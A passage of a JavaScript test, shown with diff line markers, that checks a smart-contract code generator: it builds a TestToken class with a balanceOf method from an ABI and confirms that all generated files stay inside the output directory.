|
-
const binPath = path.join(tmp, "Test.bin");
|
|
174
|
-
const outDir = path.join(tmp, "out");
|
|
175
|
-
const abi = [
|
|
176
|
-
{
|
|
177
|
-
type: "function",
|
|
178
|
-
name: "balanceOf",
|
|
179
|
-
stateMutability: "view",
|
|
180
|
-
inputs: [{ name: "account", type: "address" }],
|
|
181
|
-
outputs: [{ name: "", type: "uint256" }],
|
|
182
|
-
},
|
|
183
|
-
];
|
|
184
|
-
fs.writeFileSync(abiPath, JSON.stringify(abi), "utf8");
|
|
185
|
-
fs.writeFileSync(binPath, "0x6000", "utf8");
|
|
186
|
-
const res = generate({ abiPath, binPath, outDir, contractName: "TestToken" });
|
|
187
|
-
const src = fs.readFileSync(res.contractFile, "utf8");
|
|
188
|
-
assert.ok(src.includes("export class TestToken"));
|
|
189
|
-
assert.ok(src.includes("async balanceOf"));
|
|
190
|
-
// All generated files must live inside outDir (no traversal).
|
|
191
|
-
for (const f of [res.contractFile, res.factoryFile, res.typesFile, res.indexFile]) {
|
|
192
|
-
assert.ok(path.resolve(f).startsWith(path.resolve(outDir)), `${f} must be inside outDir`);
|
|
193
|
-
}
|
|
194
|
-
});
|
|
195
|
-
});
|